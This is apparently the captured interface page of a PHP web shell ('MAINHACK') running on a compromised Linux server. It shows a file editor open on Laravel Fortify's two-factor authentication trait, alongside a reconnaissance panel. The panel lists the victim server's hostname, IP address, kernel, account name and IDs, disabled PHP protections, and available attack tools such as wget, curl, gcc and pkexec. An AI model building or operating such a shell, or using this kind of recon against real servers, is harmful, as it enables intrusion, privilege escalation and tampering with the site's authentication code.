[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TwoFactorAuthenticatable.php
<?php namespace Laravel\Fortify; use BaconQrCode\Renderer\Color\Rgb; use BaconQrCode\Renderer\Image\SvgImageBackEnd; use BaconQrCode\Renderer\ImageRenderer; use BaconQrCode\Renderer\RendererStyle\Fill; use BaconQrCode\Renderer\RendererStyle\RendererStyle; use BaconQrCode\Writer; use Laravel\Fortify\Contracts\TwoFactorAuthenticationProvider; use Laravel\Fortify\Events\RecoveryCodeReplaced; trait TwoFactorAuthenticatable { /** * Determine if two-factor authentication has been enabled. * * @return bool */ public function hasEnabledTwoFactorAuthentication() { if (Fortify::confirmsTwoFactorAuthentication()) { return ! is_null($this->two_factor_secret) && ! is_null($this->two_factor_confirmed_at); } return ! is_null($this->two_factor_secret); } /** * Get the user's two factor authentication recovery codes. * * @return array */ public function recoveryCodes() { return json_decode(decrypt($this->two_factor_recovery_codes), true); } /** * Replace the given recovery code with a new one in the user's stored codes. * * @param string $code * @return void */ public function replaceRecoveryCode($code) { $this->forceFill([ 'two_factor_recovery_codes' => encrypt(str_replace( $code, RecoveryCode::generate(), decrypt($this->two_factor_recovery_codes) )), ])->save(); RecoveryCodeReplaced::dispatch($this, $code); } /** * Get the QR code SVG of the user's two factor authentication QR code URL. * * @return string */ public function twoFactorQrCodeSvg() { $svg = (new Writer( new ImageRenderer( new RendererStyle(192, 0, null, null, Fill::uniformColor(new Rgb(255, 255, 255), new Rgb(45, 55, 72))), new SvgImageBackEnd ) ))->writeString($this->twoFactorQrCodeUrl()); return trim(substr($svg, strpos($svg, "\n") + 1)); } /** * Get the two factor authentication QR code URL. * * @return string */ public function twoFactorQrCodeUrl() { return app(TwoFactorAuthenticationProvider::class)->qrCodeUrl( config('app.name'), $this->{Fortify::username()}, decrypt($this->two_factor_secret) ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.83 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002